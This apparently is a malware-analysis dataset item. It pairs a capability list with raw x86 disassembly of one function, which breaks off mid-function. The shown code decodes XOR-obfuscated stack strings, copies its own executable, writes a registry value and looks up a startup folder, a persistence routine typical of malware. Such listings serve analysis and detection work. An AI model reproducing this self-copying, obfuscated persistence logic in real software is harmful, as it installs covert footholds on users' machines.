Function at 0x405ad0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Create shortcut via ishelllink
Get common file path
Get session user name
Get startup folder
Parse pe header
Set registry value
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46a19d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
mov eax, 0x1690
call fcn.004443d0
mov dword [ebp - 0x14], 0
mov eax, dword [0x489514]
mov dword [ebp - 0x918], eax
mov dword [ebp - 4], 0
push 0x200
lea ecx, [ebp - 0x1698]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x1698]
push edx
lea ecx, [ebp - 0x8c0]
call fcn.00412b40
mov dword [ebp - 0x950], eax
mov eax, dword [ebp - 0x14]
or eax, 4
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x8c0]
push ecx
mov ecx, dword [ebx + 8]
call fcn.00418db0
xor edx, edx
mov byte [ebp - 0x8b], dl
xor eax, eax
mov byte [ebp - 0x8c], al
xor ecx, ecx
mov byte [ebp - 0x19], cl
mov dl, byte [ebp - 0x8b]
mov byte [ebp - 0x1b4], dl
mov al, byte [ebp - 0x8c]
mov byte [ebp - 0x1f8], al
mov cl, byte [ebp - 0x19]
mov byte [ebp - 0x1fc], cl
mov edx, 0xf20de9ea
mov dword [ebp - 0x4b0], 0x8751e391
mov dword [ebp - 0x4ac], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x4a8], 0xd5515d8a
mov dword [ebp - 0x4a4], eax
mov ecx, 0xa25da8a6
mov dword [ebp - 0x6e0], 0xc612acdd
mov dword [ebp - 0x6dc], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x6d8], 0x94051cce
mov dword [ebp - 0x6d4], edx
xor eax, eax
mov byte [ebp - 0x1a], al
mov cl, byte [ebp - 0x1a]
mov byte [ebp - 0x200], cl
movaps xmm0, xmmword [ebp - 0x6e0]
movaps xmmword [ebp - 0xdf0], xmm0
movaps xmm0, xmmword [ebp - 0x4b0]
movaps xmmword [ebp - 0xd40], xmm0
movaps xmm0, xmmword [ebp - 0xd40]
xorps xmm0, xmmword [ebp - 0xdf0]
movaps xmmword [ebp - 0xe00], xmm0
movaps xmm0, xmmword [ebp - 0xe00]
movaps xmmword [ebp - 0x4b0], xmm0
lea edx, [ebp - 0x4b0]
push edx
call fcn.00452da6
add esp, 4
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
je 0x406497
mov eax, 1
test eax, eax
je 0x406497
lea ecx, [ebp - 0x5e0]
mov dword [ebp - 0x2b0], ecx
mov ecx, dword [ebp - 0x2b0]
call fcn.0041d6d0
mov byte [ebp - 4], 1
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x24c]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
add eax, 1
mov dword [ebp - 0x2b4], eax
mov ecx, dword [ebp - 0x94]
mov dl, byte [ecx]
mov byte [ebp - 0x1b], dl
add dword [ebp - 0x94], 1
cmp byte [ebp - 0x1b], 0
jne 0x405ca3
mov eax, dword [ebp - 0x94]
sub eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x2b8], eax
mov ecx, dword [ebp - 0x2b8]
push ecx
mov edx, dword [ebp - 0x24c]
push edx
lea ecx, [ebp - 0x5e0]
call fcn.00419b30
mov byte [ebp - 4], 3
xor eax, eax
mov byte [ebp - 0x1c], al
xor ecx, ecx
mov byte [ebp - 0x1d], cl
xor edx, edx
mov byte [ebp - 0x1e], dl
mov al, byte [ebp - 0x1c]
mov byte [ebp - 0x204], al
mov cl, byte [ebp - 0x1d]
mov byte [ebp - 0x208], cl
mov dl, byte [ebp - 0x1e]
mov byte [ebp - 0x20c], dl
mov eax, 0xa25da8a6
mov dword [ebp - 0x4c0], 0xc612ac81
mov dword [ebp - 0x4bc], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x4b8], 0x94051cce
mov dword [ebp - 0x4b4], ecx
mov edx, 0xa25da8a6
mov dword [ebp - 0x6f0], 0xc612acdd
mov dword [ebp - 0x6ec], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x6e8], 0x94051cce
mov dword [ebp - 0x6e4], eax
xor ecx, ecx
mov byte [ebp - 0x1f], cl
mov dl, byte [ebp - 0x1f]
mov byte [ebp - 0x210], dl
movaps xmm0, xmmword [ebp - 0x6f0]
movaps xmmword [ebp - 0xe20], xmm0
movaps xmm0, xmmword [ebp - 0x4c0]
movaps xmmword [ebp - 0xe10], xmm0
movaps xmm0, xmmword [ebp - 0xe10]
xorps xmm0, xmmword [ebp - 0xe20]
movaps xmmword [ebp - 0xe30], xmm0
movaps xmm0, xmmword [ebp - 0xe30]
movaps xmmword [ebp - 0x4c0], xmm0
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x258], eax
mov ecx, dword [ebp - 0x258]
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x98]
add edx, 1
mov dword [ebp - 0x2bc], edx
mov eax, dword [ebp - 0x98]
mov cl, byte [eax]
mov byte [ebp - 0x20], cl
add dword [ebp - 0x98], 1
cmp byte [ebp - 0x20], 0
jne 0x405ddc
mov edx, dword [ebp - 0x98]
sub edx, dword [ebp - 0x2bc]
mov dword [ebp - 0x2c0], edx
mov eax, dword [ebp - 0x2c0]
push eax
mov ecx, dword [ebp - 0x258]
push ecx
lea ecx, [ebp - 0x5e0]
call fcn.00416320
push 0x4895d4
lea ecx, [ebp - 0x5e0]
call fcn.00412850
lea ecx, [ebp - 0x5e0]
call fcn.00412710
mov dword [ebp - 0x2c4], eax
mov edx, dword [ebp - 0x2c4]
push edx
mov ecx, dword [0x489514]
call fcn.00405490
movzx eax, al
test eax, eax
jne 0x405e76
lea ecx, [ebp - 0x5e0]
push ecx
mov ecx, dword [0x489514]
call fcn.00404c50
movzx edx, al
test edx, edx
je 0x40646c
lea eax, [ebp - 0x5e0]
push eax
lea ecx, [ebp - 0x48c]
call fcn.00412ca0
mov byte [ebp - 4], 4
xor ecx, ecx
mov byte [ebp - 0x21], cl
xor edx, edx
mov byte [ebp - 0x22], dl
xor eax, eax
mov byte [ebp - 0x23], al
mov cl, byte [ebp - 0x21]
mov byte [ebp - 0x214], cl
mov dl, byte [ebp - 0x22]
mov byte [ebp - 0x218], dl
mov al, byte [ebp - 0x23]
mov byte [ebp - 0x21c], al
mov ecx, 0xa25da8a6
mov dword [ebp - 0x4d0], 0xc612ac81
mov dword [ebp - 0x4cc], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x4c8], 0x94051cce
mov dword [ebp - 0x4c4], edx
mov eax, 0xa25da8a6
mov dword [ebp - 0x700], 0xc612acdd
mov dword [ebp - 0x6fc], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x6f8], 0x94051cce
mov dword [ebp - 0x6f4], ecx
xor edx, edx
mov byte [ebp - 0x24], dl
mov al, byte [ebp - 0x24]
mov byte [ebp - 0x220], al
movaps xmm0, xmmword [ebp - 0x700]
movaps xmmword [ebp - 0xe50], xmm0
movaps xmm0, xmmword [ebp - 0x4d0]
movaps xmmword [ebp - 0xe40], xmm0
movaps xmm0, xmmword [ebp - 0xe40]
xorps xmm0, xmmword [ebp - 0xe50]
movaps xmmword [ebp - 0xe60], xmm0
movaps xmm0, xmmword [ebp - 0xe60]
movaps xmmword [ebp - 0x4d0], xmm0
lea ecx, [ebp - 0x4d0]
mov dword [ebp - 0x25c], ecx
mov edx, dword [ebp - 0x25c]
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0x9c]
add eax, 1
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x9c]
mov dl, byte [ecx]
mov byte [ebp - 0x25], dl
add dword [ebp - 0x9c], 1
cmp byte [ebp - 0x25], 0
jne 0x405f7e
mov eax, dword [ebp - 0x9c]
sub eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x2cc], eax
mov ecx, dword [ebp - 0x2cc]
push ecx
mov edx, dword [ebp - 0x25c]
push edx
lea ecx, [ebp - 0x48c]
call fcn.00416320
push 0x4895d4
lea ecx, [ebp - 0x48c]
call fcn.00412850
xor eax, eax
mov byte [ebp - 0x26], al
xor ecx, ecx
mov byte [ebp - 0x27], cl
xor edx, edx
mov byte [ebp - 0x28], dl
mov al, byte [ebp - 0x26]
mov byte [ebp - 0x224], al
mov cl, byte [ebp - 0x27]
mov byte [ebp - 0x228], cl
mov dl, byte [ebp - 0x28]
mov byte [ebp - 0x22c], dl
mov eax, 0xa25da8a6
mov dword [ebp - 0x4e0], 0xa36ac9f3
mov dword [ebp - 0x4dc], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x4d8], 0x94051cce
mov dword [ebp - 0x4d4], ecx
mov edx, 0xa25da8a6
mov dword [ebp - 0x710], 0xc612acdd
mov dword [ebp - 0x70c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x708], 0x94051cce
mov dword [ebp - 0x704], eax
xor ecx, ecx
mov byte [ebp - 0x29], cl
mov dl, byte [ebp - 0x29]
mov byte [ebp - 0x234], dl
movaps xmm0, xmmword [ebp - 0x710]
movaps xmmword [ebp - 0xe80], xmm0
movaps xmm0, xmmword [ebp - 0x4e0]
movaps xmmword [ebp - 0xe70], xmm0
movaps xmm0, xmmword [ebp - 0xe70]
xorps xmm0, xmmword [ebp - 0xe80]
movaps xmmword [ebp - 0xe90], xmm0
movaps xmm0, xmmword [ebp - 0xe90]
movaps xmmword [ebp - 0x4e0], xmm0
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x260], eax
mov ecx, dword [ebp - 0x260]
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0xa0]
add edx, 1
mov dword [ebp - 0x2d0], edx
mov eax, dword [ebp - 0xa0]
mov cl, byte [eax]
mov byte [ebp - 0x2a], cl
add dword [ebp - 0xa0], 1
cmp byte [ebp - 0x2a], 0
jne 0x4060c3
mov edx, dword [ebp - 0xa0]
sub edx, dword [ebp - 0x2d0]
mov dword [ebp - 0x2d4], edx
mov eax, dword [ebp - 0x2d4]
push eax
mov ecx, dword [ebp - 0x260]
push ecx
lea ecx, [ebp - 0x48c]
call fcn.00416320
lea edx, [ebp - 0x48c]
push edx
mov ecx, dword [ebx + 8]
call fcn.00418db0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x954], esp
lea eax, [ebp - 0x48c]
push eax
call fcn.00412ca0
mov dword [ebp - 0x958], eax
mov byte [ebp - 4], 5
mov byte [ebp - 4], 4
mov ecx, dword [0x489514]
call fcn.00405520
mov byte [ebp - 0x2b], al
movzx ecx, byte [ebp - 0x2b]
test ecx, ecx
jne 0x406441
lea ecx, [ebp - 0x48c]
call fcn.00412710
mov dword [ebp - 0x2d8], eax
lea ecx, [ebp - 0x8c0]
call fcn.00412710
mov dword [ebp - 0x2dc], eax
push 1
mov edx, dword [ebp - 0x2d8]
push edx
mov eax, dword [ebp - 0x2dc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406441
xor ecx, ecx
mov byte [ebp - 0x2c], cl
xor edx, edx
mov byte [ebp - 0x2d], dl
xor eax, eax
mov byte [ebp - 0x2e], al
mov cl, byte [ebp - 0x2c]
mov byte [ebp - 0x238], cl
mov dl, byte [ebp - 0x2d]
mov byte [ebp - 0x23c], dl
mov al, byte [ebp - 0x2e]
mov byte [ebp - 0x240], al
mov ecx, 0xc72fc9d1
mov dword [ebp - 0x6c0], 0xb274c38e
mov dword [ebp - 0x6bc], ecx
mov edx, 0xaa11202b
mov dword [ebp - 0x6b8], 0xf76c5192
mov dword [ebp - 0x6b4], edx
mov eax, 0xac020e45
mov dword [ebp - 0x6b0], 0x78016dc9
mov dword [ebp - 0x6ac], eax
mov ecx, 0x4900e262
mov dword [ebp - 0x6a8], 0xd829c827
mov dword [ebp - 0x6a4], ecx
mov edx, 0x65aaaec8
mov dword [ebp - 0x6a0], 0xbf1cc2af
mov dword [ebp - 0x69c], edx
mov eax, 0x455b68b3
mov dword [ebp - 0x698], 0x4a207e8c
mov dword [ebp - 0x694], eax
mov ecx, 0xa25da8a6
mov dword [ebp - 0x770], 0xc612acdd
mov dword [ebp - 0x76c], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x768], 0x94051cce
mov dword [ebp - 0x764], edx
mov eax, 0xc366602c
mov dword [ebp - 0x760], 0x2f5d19af
mov dword [ebp - 0x75c], eax
mov ecx, 0x2c729017
mov dword [ebp - 0x758], 0x9b75bb50
mov dword [ebp - 0x754], ecx
mov edx, 0xac3ddba
mov dword [ebp - 0x750], 0xda4ab6c1
mov dword [ebp - 0x74c], edx
mov eax, 0x455b68dd
mov dword [ebp - 0x748], 0x3f7222e2
mov dword [ebp - 0x744], eax
xor ecx, ecx
mov byte [ebp - 0x2f], cl
mov dl, byte [ebp - 0x2f]
mov byte [ebp - 0x244], dl
movaps xmm0, xmmword [ebp - 0x770]
movaps xmmword [ebp - 0xeb0], xmm0
movaps xmm0, xmmword [ebp - 0x6c0]
movaps xmmword [ebp - 0xea0], xmm0
movaps xmm0, xmmword [ebp - 0xea0]
xorps xmm0, xmmword [ebp - 0xeb0]
movaps xmmword [ebp - 0xec0], xmm0
movaps xmm0, xmmword [ebp - 0xec0]
movaps xmmword [ebp - 0x6c0], xmm0
lea eax, [ebp - 0x6b0]
mov dword [ebp - 0x264], eax
movaps xmm0, xmmword [ebp - 0x760]
movaps xmmword [ebp - 0x1000], xmm0
mov ecx, dword [ebp - 0x264]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0xff0], xmm0
movaps xmm0, xmmword [ebp - 0xff0]
xorps xmm0, xmmword [ebp - 0x1000]
movaps xmmword [ebp - 0x1010], xmm0
movaps xmm0, xmmword [ebp - 0x1010]
mov edx, dword [ebp - 0x264]
movups xmmword [edx], xmm0
lea eax, [ebp - 0x6a0]
mov dword [ebp - 0x268], eax
movaps xmm0, xmmword [ebp - 0x750]
movaps xmmword [ebp - 0x1030], xmm0
mov ecx, dword [ebp - 0x268]
movups xmm0, xmmword [ecx]
movaps xmmword [ebp - 0x1020], xmm0
movaps xmm0, xmmword [ebp - 0x1020]
xorps xmm0, xmmword [ebp - 0x1030]
movaps xmmword [ebp - 0x1040], xmm0
movaps xmm0, xmmword [ebp - 0x1040]
mov edx, dword [ebp - 0x268]
movups xmmword [edx], xmm0
lea eax, [ebp - 0x270]
push eax
push 0x20006
push 0
lea ecx, [ebp - 0x6c0]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406441
mov edx, dword [ebp - 0x8c4]
mov dword [ebp - 0x26c], edx
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x26c], eax
lea ecx, [ebp - 0x48c]
call fcn.00412710
mov dword [ebp - 0x2e0], eax
mov ecx, 0x4895d4
call fcn.00412710
mov dword [ebp - 0x2e4], eax
mov ecx, dword [ebp - 0x270]
mov dword [ebp - 0x2e8], ecx
mov edx, dword [ebp - 0x26c]
push edx
mov eax, dword [ebp - 0x2e0]
push eax
push 1
push 0
mov ecx, dword [ebp - 0x2e4]
push ecx
mov edx, dword [ebp - 0x2e8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x270]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x48c]
call fcn.00415fd0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x48c]
mov dword [ebp - 0x8c8], ecx
mov byte [ebp - 4], 7
mov byte [ebp - 4], 8
mov byte [ebp - 4], 3
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x5e0]
call fcn.00415fd0
mov byte [ebp - 4], 0
lea edx, [ebp - 0x5e0]
mov dword [ebp - 0x8cc], edx
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0
xor eax, eax
mov byte [ebp - 0x30], al
xor ecx, ecx
mov byte [ebp - 0x31], cl
xor edx, edx
mov byte [ebp - 0x32], dl
mov al, byte [ebp - 0x30]
mov byte [ebp - 0x248], al
mov cl, byte [ebp - 0x31]
mov byte [ebp - 0xdc], cl
mov dl, byte [ebp - 0x32]
mov byte [ebp - 0xe0], dl
mov eax, 0xa25da8a6
mov dword [ebp - 0x4f0], 0x965fe989
mov dword [ebp - 0x4ec], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x4e8], 0x94051cce
mov dword [ebp - 0x4e4], ecx
mov edx, 0xa25da8a6
mov dword [ebp - 0x720], 0xc612acdd
mov dword [ebp - 0x71c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x718], 0x94051cce
mov dword [ebp - 0x714], eax
xor ecx, ecx
mov byte [ebp - 0x33], cl
mov dl, byte [ebp - 0x33]
mov byte [ebp - 0xe4], dl
movaps xmm0, xmmword [ebp - 0x720]
movaps xmmword [ebp - 0x1060], xmm0
movaps xmm0, xmmword [ebp - 0x4f0]
movaps xmmword [ebp - 0x1050], xmm0
movaps xmm0, xmmword [ebp - 0x1050]
xorps xmm0, xmmword [ebp - 0x1060]
movaps xmmword [ebp - 0x1070], xmm0
movaps xmm0, xmmword [ebp - 0x1070]
movaps xmmword [ebp - 0x4f0], xmm0
lea eax, [ebp - 0x4f0]
push eax
call fcn.00452da6
add esp, 4
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
je 0x407139
mov ecx, 1
test ecx, ecx
je 0x407139
lea edx, [ebp - 0x5f8]
mov dword [ebp - 0x2ec], edx
mov ecx, dword [ebp - 0x2ec]
call fcn.0041d6d0
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0xa4], eax
mov ecx, dword [ebp - 0xa4]
add ecx, 1
mov dword [ebp - 0x2f0], ecx
mov edx, dword [ebp - 0xa4]
mov al, byte [edx]
mov byte [ebp - 0x34], al
add dword [ebp - 0xa4], 1
cmp byte [ebp - 0x34], 0
jne 0x4065cb
mov ecx, dword [ebp - 0xa4]
sub ecx, dword [ebp - 0x2f0]
mov dword [ebp - 0x2f4], ecx
mov edx, dword [ebp - 0x2f4]
push edx
mov eax, dword [ebp - 0x250]
push eax
lea ecx, [ebp - 0x5f8]
call fcn.00419b30
mov byte [ebp - 4], 0xe
xor ecx, ecx
mov byte [ebp - 0x35], cl
xor edx, edx
mov byte [ebp - 0x36], dl
xor eax, eax
mov byte [ebp - 0x37], al
mov cl, byte [ebp - 0x35]
mov byte [ebp - 0xe8], cl
mov dl, byte [ebp - 0x36]
mov byte [ebp - 0xec], dl
mov al, byte [ebp - 0x37]
mov byte [ebp - 0xf0], al
mov ecx, 0xa25da8a6
mov dword [ebp - 0x500], 0xc612ac81
mov dword [ebp - 0x4fc], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x4f8], 0x94051cce
mov dword [ebp - 0x4f4], edx
mov eax, 0xa25da8a6
mov dword [ebp - 0x6d0], 0xc612acdd
mov dword [ebp - 0x6cc], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x6c8], 0x94051cce
mov dword [ebp - 0x6c4], ecx
xor edx, edx
mov byte [ebp - 0x38], dl
mov al, byte [ebp - 0x38]
mov byte [ebp - 0xf4], al
movaps xmm0, xmmword [ebp - 0x6d0]
movaps xmmword [ebp - 0xa10], xmm0
movaps xmm0, xmmword [ebp - 0x500]
movaps xmmword [ebp - 0x1080], xmm0
movaps xmm0, xmmword [ebp - 0x1080]
xorps xmm0, xmmword [ebp - 0xa10]
movaps xmmword [ebp - 0xa20], xmm0
movaps xmm0, xmmword [ebp - 0xa20]
movaps xmmword [ebp - 0x500], xmm0
lea ecx, [ebp - 0x500]
mov dword [ebp - 0x274], ecx
mov edx, dword [ebp - 0x274]
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0xa8]
add eax, 1
mov dword [ebp - 0x2f8], eax
mov ecx, dword [ebp - 0xa8]
mov dl, byte [ecx]
mov byte [ebp - 0x39], dl
add dword [ebp - 0xa8], 1
cmp byte [ebp - 0x39], 0
jne 0x406704
mov eax, dword [ebp - 0xa8]
sub eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x2fc], eax
mov ecx, dword [ebp - 0x2fc]
push ecx
mov edx, dword [ebp - 0x274]
push edx
lea ecx, [ebp - 0x5f8]
call fcn.00416320
push 0x489604
lea ecx, [ebp - 0x5f8]
call fcn.00412850
lea ecx, [ebp - 0x5f8]
call fcn.00412710
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x300]
push eax
mov ecx, dword [0x489514]
call fcn.00405490
movzx ecx, al
test ecx, ecx
jne 0x406845
lea ecx, [ebp - 0x5f8]
call fcn.00412710
mov dword [ebp - 0x278], eax
lea edx, [ebp - 0x988]
mov dword [ebp - 0x304], edx
mov ecx, dword [ebp - 0x304]
call fcn.0041d6d0
mov byte [ebp - 4], 0xf
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x278]
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0xac]
add ecx, 1
mov dword [ebp - 0x308], ecx
mov edx, dword [ebp - 0xac]
mov al, byte [edx]
mov byte [ebp - 0x3a], al
add dword [ebp - 0xac], 1
cmp byte [ebp - 0x3a], 0
jne 0x4067d0
mov ecx, dword [ebp - 0xac]
sub ecx, dword [ebp - 0x308]
mov dword [ebp - 0x30c], ecx
mov edx, dword [ebp - 0x30c]
push edx
mov eax, dword [ebp - 0x278]
push eax
lea ecx, [ebp - 0x988]
call fcn.00419b30
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x14]
or ecx, 1
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x988]
push edx
mov ecx, dword [0x489514]
call fcn.00404c50
movzx eax, al
test eax, eax
jne 0x406845
mov dword [ebp - 0x27c], 0
jmp 0x40684f
mov dword [ebp - 0x27c], 1
mov cl, byte [ebp - 0x27c]
mov byte [ebp - 0x3b], cl
mov dword [ebp - 4], 0xe
mov edx, dword [ebp - 0x14]
and edx, 1
je 0x406896
and dword [ebp - 0x14], 0xfffffffe
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x988]
call fcn.00415fd0
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x988]
mov dword [ebp - 0x8d0], eax
mov byte [ebp - 4], 0x13
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0xe
movzx ecx, byte [ebp - 0x3b]
test ecx, ecx
je 0x40710e
lea edx, [ebp - 0x5f8]
push edx
lea ecx, [ebp - 0x5c8]
call fcn.00412ca0
mov byte [ebp - 4], 0x15
xor eax, eax
mov byte [ebp - 0x3c], al
xor ecx, ecx
mov byte [ebp - 0x3d], cl
xor edx, edx
mov byte [ebp - 0x3e], dl
mov al, byte [ebp - 0x3c]
mov byte [ebp - 0xf8], al
mov cl, byte [ebp - 0x3d]
mov byte [ebp - 0xfc], cl
mov dl, byte [ebp - 0x3e]
mov byte [ebp - 0x100], dl
mov eax, 0xa25da8a6
mov dword [ebp - 0x510], 0xc612ac81
mov dword [ebp - 0x50c], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x508], 0x94051cce
mov dword [ebp - 0x504], ecx
mov edx, 0xa25da8a6
mov dword [ebp - 0x7a0], 0xc612acdd
mov dword [ebp - 0x79c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x798], 0x94051cce
mov dword [ebp - 0x794], eax
xor ecx, ecx
mov byte [ebp - 0x3f], cl
mov dl, byte [ebp - 0x3f]
mov byte [ebp - 0x104], dl
movaps xmm0, xmmword [ebp - 0x7a0]
movaps xmmword [ebp - 0xa40], xmm0
movaps xmm0, xmmword [ebp - 0x510]
movaps xmmword [ebp - 0xa30], xmm0
movaps xmm0, xmmword [ebp - 0xa30]
xorps xmm0, xmmword [ebp - 0xa40]
movaps xmmword [ebp - 0xa50], xmm0
movaps xmm0, xmmword [ebp - 0xa50]
movaps xmmword [ebp - 0x510], xmm0
lea eax, [ebp - 0x510]
mov dword [ebp - 0x280], eax
mov ecx, dword [ebp - 0x280]
mov dword [ebp - 0xb0], ecx
mov edx, dword [ebp - 0xb0]
add edx, 1
mov dword [ebp - 0x310], edx
mov eax, dword [ebp - 0xb0]
mov cl, byte [eax]
mov byte [ebp - 0x40], cl
add dword [ebp - 0xb0], 1
cmp byte [ebp - 0x40], 0
jne 0x4069aa
mov edx, dword [ebp - 0xb0]
sub edx, dword [ebp - 0x310]
mov dword [ebp - 0x314], edx
mov eax, dword [ebp - 0x314]
push eax
mov ecx, dword [ebp - 0x280]
push ecx
lea ecx, [ebp - 0x5c8]
call fcn.00416320
push 0x489604
lea ecx, [ebp - 0x5c8]
call fcn.00412850
xor edx, edx
mov byte [ebp - 0x41], dl
xor eax, eax
mov byte [ebp - 0x42], al
xor ecx, ecx
mov byte [ebp - 0x43], cl
mov dl, byte [ebp - 0x41]
mov byte [ebp - 0x108], dl
mov al, byte [ebp - 0x42]
mov byte [ebp - 0x10c], al
mov cl, byte [ebp - 0x43]
mov byte [ebp - 0x110], cl
mov edx, 0xa25da8a6
mov dword [ebp - 0x520], 0xa36ac9f3
mov dword [ebp - 0x51c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x518], 0x94051cce
mov dword [ebp - 0x514], eax
mov ecx, 0xa25da8a6
mov dword [ebp - 0x790], 0xc612acdd
mov dword [ebp - 0x78c], ecx
mov edx, 0xc5624f59
mov dword [ebp - 0x788], 0x94051cce
mov dword [ebp - 0x784], edx
xor eax, eax
mov byte [ebp - 0x44], al
mov cl, byte [ebp - 0x44]
mov byte [ebp - 0x114], cl
movaps xmm0, xmmword [ebp - 0x790]
movaps xmmword [ebp - 0xa70], xmm0
movaps xmm0, xmmword [ebp - 0x520]
movaps xmmword [ebp - 0xa60], xmm0
movaps xmm0, xmmword [ebp - 0xa60]
xorps xmm0, xmmword [ebp - 0xa70]
movaps xmmword [ebp - 0xa80], xmm0
movaps xmm0, xmmword [ebp - 0xa80]
movaps xmmword [ebp - 0x520], xmm0
lea edx, [ebp - 0x520]
mov dword [ebp - 0x284], edx
mov eax, dword [ebp - 0x284]
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb4]
add ecx, 1
mov dword [ebp - 0x318], ecx
mov edx, dword [ebp - 0xb4]
mov al, byte [edx]
mov byte [ebp - 0x45], al
add dword [ebp - 0xb4], 1
cmp byte [ebp - 0x45], 0
jne 0x406aef
mov ecx, dword [ebp - 0xb4]
sub ecx, dword [ebp - 0x318]
mov dword [ebp - 0x31c], ecx
mov edx, dword [ebp - 0x31c]
push edx
mov eax, dword [ebp - 0x284]
push eax
lea ecx, [ebp - 0x5c8]
call fcn.00416320
lea ecx, [ebp - 0x5c8]
push ecx
mov ecx, dword [ebx + 8]
call fcn.00418db0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x8d4], esp
lea edx, [ebp - 0x5c8]
push edx
call fcn.00412ca0
mov dword [ebp - 0x8d8], eax
mov byte [ebp - 4], 0x16
mov byte [ebp - 4], 0x15
mov ecx, dword [0x489514]
call fcn.00405520
mov byte [ebp - 0x46], al
movzx eax, byte [ebp - 0x46]
test eax, eax
jne 0x406bbc
lea ecx, [ebp - 0x5c8]
call fcn.00412710
mov dword [ebp - 0x320], eax
lea ecx, [ebp - 0x8c0]
call fcn.00412710
mov dword [ebp - 0x324], eax
push 1
mov ecx, dword [ebp - 0x320]
push ecx
mov edx, dword [ebp - 0x324]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4070e3
lea eax, [ebp - 0x1290]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jl 0x4070e3
lea ecx, [ebp - 0x8a8]
mov dword [ebp - 0x328], ecx
mov ecx, dword [ebp - 0x328]
call fcn.0041d6d0
mov byte [ebp - 4], 0x17
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x1290]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0xb8]
add eax, 1
mov dword [ebp - 0x32c], eax
mov ecx, dword [ebp - 0xb8]
mov dl, byte [ecx]
mov byte [ebp - 0x47], dl
add dword [ebp - 0xb8], 1
cmp byte [ebp - 0x47], 0
jne 0x406c13
mov eax, dword [ebp - 0xb8]
sub eax, dword [ebp - 0x32c]
mov dword [ebp - 0x330], eax
mov ecx, dword [ebp - 0x330]
push ecx
lea edx, [ebp - 0x1290]
push edx
lea ecx, [ebp - 0x8a8]
call fcn.00419b30
mov byte [ebp - 4], 0x19
xor eax, eax
mov byte [ebp - 0x48], al
xor ecx, ecx
mov byte [ebp - 0x49], cl
xor edx, edx
mov byte [ebp - 0x4a], dl
mov al, byte [ebp - 0x48]
mov byte [ebp - 0x118], al
mov cl, byte [ebp - 0x49]
mov byte [ebp - 0x11c], cl
mov dl, byte [ebp - 0x4a]
mov byte [ebp - 0x120], dl
mov eax, 0xa25da8a6
mov dword [ebp - 0x530], 0xad7cc0f3
mov dword [ebp - 0x52c], eax
mov ecx, 0xc5624f59
mov dword [ebp - 0x528], 0x94051cce
mov dword [ebp - 0x524], ecx
mov edx, 0xa25da8a6
mov dword [ebp - 0x780], 0xc612acdd
mov dword [ebp - 0x77c], edx
mov eax, 0xc5624f59
mov dword [ebp - 0x778], 0x94051cce
mov dword [ebp - 0x774], eax
xor ecx, ecx
mov byte [ebp - 0x4b], cl
mov dl, byte [ebp - 0x4b]
mov byte [ebp - 0x124], dl
